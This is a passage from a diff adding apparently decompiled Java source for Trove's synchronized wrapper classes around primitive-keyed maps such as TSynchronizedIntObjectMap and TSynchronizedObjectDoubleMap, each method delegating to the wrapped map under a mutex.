+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharCharProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(char key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(char key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(char key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleObjectMap<V>
+    implements gnu.trove.map.TDoubleObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TDoubleObjectMap<V> m;
+    
+    final Object mutex;
+    
+    public TSynchronizedDoubleObjectMap(gnu.trove.map.TDoubleObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleObjectMap(gnu.trove.map.TDoubleObjectMap<V> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(Object value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public V get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public V put(double key, V value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public V remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TDoubleObjectMap<V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public Collection<V> valueCollection() { synchronized (mutex) {
+        if (values == null) {
+          values = new TSynchronizedCollections.SynchronizedCollection(m.valueCollection(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public V[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public <T> T[] values(T[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleObjectIterator<V> iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public V putIfAbsent(double key, V value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(gnu.trove.procedure.TObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleObjectProcedure<V> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatObjectMap<V>
+    implements gnu.trove.map.TFloatObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TFloatObjectMap<V> m;
+    final Object mutex;
+    
+    public TSynchronizedFloatObjectMap(gnu.trove.map.TFloatObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatObjectMap(gnu.trove.map.TFloatObjectMap<V> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(Object value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public V get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public V put(float key, V value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public V remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TFloatObjectMap<V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public Collection<V> valueCollection() { synchronized (mutex) {
+        if (values == null) {
+          values = new TSynchronizedCollections.SynchronizedCollection(m.valueCollection(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public V[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public <T> T[] values(T[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatObjectIterator<V> iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public V putIfAbsent(float key, V value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(gnu.trove.procedure.TObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatObjectProcedure<V> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntObjectMap<V>
+    implements gnu.trove.map.TIntObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TIntObjectMap<V> m;
+    final Object mutex;
+    
+    public TSynchronizedIntObjectMap(gnu.trove.map.TIntObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntObjectMap(gnu.trove.map.TIntObjectMap<V> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(Object value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public V get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public V put(int key, V value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public V remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TIntObjectMap<V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public Collection<V> valueCollection() { synchronized (mutex) {
+        if (values == null) {
+          values = new TSynchronizedCollections.SynchronizedCollection(m.valueCollection(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public V[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public <T> T[] values(T[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntObjectIterator<V> iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public V putIfAbsent(int key, V value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(gnu.trove.procedure.TObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntObjectProcedure<V> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongObjectMap<V>
+    implements gnu.trove.map.TLongObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TLongObjectMap<V> m;
+    final Object mutex;
+    
+    public TSynchronizedLongObjectMap(gnu.trove.map.TLongObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongObjectMap(gnu.trove.map.TLongObjectMap<V> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(Object value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public V get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public V put(long key, V value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public V remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TLongObjectMap<V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public Collection<V> valueCollection() { synchronized (mutex) {
+        if (values == null) {
+          values = new TSynchronizedCollections.SynchronizedCollection(m.valueCollection(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public V[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public <T> T[] values(T[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongObjectIterator<V> iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public V putIfAbsent(long key, V value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(gnu.trove.procedure.TObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongObjectProcedure<V> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteObjectMap<V>
+    implements gnu.trove.map.TByteObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TByteObjectMap<V> m;
+    final Object mutex;
+    
+    public TSynchronizedByteObjectMap(gnu.trove.map.TByteObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteObjectMap(gnu.trove.map.TByteObjectMap<V> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(Object value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public V get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public V put(byte key, V value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public V remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TByteObjectMap<V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public Collection<V> valueCollection() { synchronized (mutex) {
+        if (values == null) {
+          values = new TSynchronizedCollections.SynchronizedCollection(m.valueCollection(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public V[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public <T> T[] values(T[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteObjectIterator<V> iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public V putIfAbsent(byte key, V value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(gnu.trove.procedure.TObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteObjectProcedure<V> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortObjectMap<V>
+    implements gnu.trove.map.TShortObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TShortObjectMap<V> m;
+    final Object mutex;
+    
+    public TSynchronizedShortObjectMap(gnu.trove.map.TShortObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortObjectMap(gnu.trove.map.TShortObjectMap<V> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(Object value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public V get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public V put(short key, V value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public V remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TShortObjectMap<V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public Collection<V> valueCollection() { synchronized (mutex) {
+        if (values == null) {
+          values = new TSynchronizedCollections.SynchronizedCollection(m.valueCollection(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public V[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public <T> T[] values(T[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortObjectIterator<V> iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public V putIfAbsent(short key, V value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(gnu.trove.procedure.TObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortObjectProcedure<V> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharObjectMap<V>
+    implements gnu.trove.map.TCharObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TCharObjectMap<V> m;
+    final Object mutex;
+    
+    public TSynchronizedCharObjectMap(gnu.trove.map.TCharObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharObjectMap(gnu.trove.map.TCharObjectMap<V> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(Object value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public V get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public V put(char key, V value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public V remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TCharObjectMap<V> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public Collection<V> valueCollection() { synchronized (mutex) {
+        if (values == null) {
+          values = new TSynchronizedCollections.SynchronizedCollection(m.valueCollection(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public V[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public <T> T[] values(T[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharObjectIterator<V> iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public V putIfAbsent(char key, V value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(gnu.trove.procedure.TObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharObjectProcedure<V> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharObjectProcedure<V> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedObjectDoubleMap<K>
+    implements gnu.trove.map.TObjectDoubleMap<K>, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TObjectDoubleMap<K> m;
+    
+    final Object mutex;
+    
+    public TSynchronizedObjectDoubleMap(gnu.trove.map.TObjectDoubleMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedObjectDoubleMap(gnu.trove.map.TObjectDoubleMap<K> m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(Object key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(Object key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(K key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(Object key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends K, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TObjectDoubleMap<K> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = new TSynchronizedCollections.SynchronizedSet(m.keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public Object[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public K[] keys(K[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TObjectDoubleIterator<K> iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(K key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(gnu.trove.procedure.TObjectProcedure<K> procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectDoubleProcedure<K> procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TObjectDoubleProcedure<K> procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(K key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(K key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(K key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedObjectFloatMap<K>
